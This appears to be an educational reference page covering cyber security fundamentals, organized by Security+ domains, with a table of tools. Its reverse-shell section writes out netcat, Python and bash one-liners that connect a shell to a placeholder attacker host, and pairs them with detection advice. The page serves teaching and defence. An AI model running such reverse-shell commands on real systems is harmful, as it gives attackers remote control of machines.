Skip to content

Cyber Security — Principles, Tools & Best Practices

Last reviewed: 2026-09-17

Cyber security (or cybersecurity) is the practice of protecting systems, networks, programs, and data from digital attacks, unauthorized access, and damage. It encompasses technologies, processes, and controls designed to ensure confidentiality, integrity, and availability (the CIA triad).

Overview

This article covers foundational cyber security concepts, common attack vectors, defensive tools, and the domains covered by the CompTIA Security+ certification objectives.

Core Security Domains

1. Threats & Vulnerabilities

Attack Type Description
Phishing/Social Engineering Manipulating humans to disclose information
Malware Viruses, worms, ransomware, trojans, spyware
MITM (Man-in-the-Middle) Intercepting communication between parties
SQL Injection Injecting malicious SQL into web app queries
XSS (Cross-Site Scripting) Injecting scripts into web pages viewed by others
DDoS Overwhelming a target with traffic
Zero-Day Exploiting unknown/unpatched vulnerabilities

2. Architecture & Design

  • Network segmentation (VLANs, subnets, DMZ)
  • Defense in depth — Layered security controls
  • Zero Trust — "Never trust, always verify"
  • IAM — Identity and Access Management (AAA, MFA, SSO)
  • Public Key Infrastructure (PKI, certificates, CA)

3. Implementation

  • Firewalls — Network ACLs, next-gen firewalls, WAF
  • IDS/IPS — Intrusion detection/prevention systems
  • Endpoint protection — Antivirus, EDR, XDR
  • Encryption — Symmetric (AES) vs asymmetric (RSA, ECC)
  • SIEM — Security Information and Event Management

4. Operations & Incident Response

  • Incident response lifecycle: Preparation → Detection/Analysis → Containment → Eradication → Recovery → Lessons Learned
  • Digital forensics — Evidence collection, chain of custody
  • Business continuity — Backup, disaster recovery, failover
  • Vulnerability management — Scanning, patching, CVE tracking

5. Governance, Risk & Compliance

  • Risk management — Risk assessment, mitigation, acceptance
  • Compliance frameworks — GDPR, HIPAA, PCI-DSS, SOC 2, ISO 27001
  • Policies — Acceptable use, data classification, access control

Reverse Shells

A reverse shell connects from the target back to the attacker, bypassing firewalls/NAT:

Attacker ← Target (outbound connection, often allowed)

Common methods: - nc -e /bin/sh <attacker-ip> <port> (netcat) - PowerShell one-liners (Windows) - Python: import socket,subprocess; s=socket.socket(); s.connect(...) - Bash: bash -i >& /dev/tcp/<ip>/<port> 0>&1

Detection: Monitor outbound connections, shell parent-child relationships, unusual network flows, process tree analysis.

Key Security Tools

Tool Purpose
Nmap Network discovery and port scanning
Wireshark Packet capture and protocol analysis
Metasploit Exploit development and penetration testing
Burp Suite Web application security testing
John the Ripper Password cracking (CPU)
Hashcat Password cracking (GPU-accelerated)
Nessus / OpenVAS Vulnerability scanning
Snort / Suricata Intrusion detection/prevention

Resources